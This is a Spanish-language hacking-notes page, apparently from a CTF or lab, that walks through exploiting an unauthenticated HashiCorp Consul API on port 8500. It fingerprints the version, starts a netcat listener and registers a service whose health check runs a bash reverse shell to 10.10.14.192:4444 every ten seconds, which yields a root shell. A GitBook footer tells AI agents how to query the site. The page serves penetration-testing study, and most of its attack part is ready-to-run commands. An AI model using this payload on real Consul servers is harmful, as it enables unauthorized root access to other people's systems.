> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/ports-and-services/consul-8500.md).

# Consul - 8500

### Descubrimiento del puerto 8500 (Consul)

Puerto **8500** expone la interfaz web de Consul.

<figure><img src="/files/e5de4cbd3afb94dbc111c0b4a5a6bb0579e67c7e" alt=""><figcaption></figcaption></figure>

Después de consultar `127.0.0.1:8500/ui/`, versión de Consul **1.19.2** se encuentra.

```bash
curl 127.0.0.1:8500/ui/
```

<figure><img src="/files/3a5ed4c19b6faf1ca47b5bb4989d0c7e70388072" alt=""><figcaption></figcaption></figure>

#### Verificación del acceso a la API REST

Comprueba si la API REST de Consul es accesible sin autenticación:

```bash
curl http://127.0.0.1:8500/v1/agent/self
```

La respuesta confirma que la API está expuesta.

### Explotación mediante una comprobación maliciosa

{% embed url="<https://www.exploit-db.com/exploits/51117>" %}

Registra un servicio con una comprobación maliciosa que ejecute una shell inversa de bash:

```bash
nc -lvnp 4444
```

#### Registro de un servicio con una comprobación maliciosa

Consul permite el registro dinámico de servicios mediante solicitudes HTTP. Aprovecha este comportamiento para crear una comprobación que ejecute un comando de bash.

```bash
curl -X PUT http://127.0.0.1:8500/v1/agent/service/register -d '{
  "Name": "pwned",
  "ID": "pwned",
  "Check": {
    "Args": ["/bin/bash", "-c", "bash -i >& /dev/tcp/10.10.14.192/4444 0>&1"],
    "Interval": "10s"
  }
}'
```

Comportamiento del payload:

* `Check.Args[]`: contiene un comando de bash que abre una **shell inversa**.
* `Intervalo`: establece una ejecución automática cada 10 segundos.

Al ejecutar esta carga útil, se obtiene una shell de root.

<figure><img src="/files/8fd2a7b470638be8b868121516c1eaf895e7ea80" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/ports-and-services/consul-8500.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
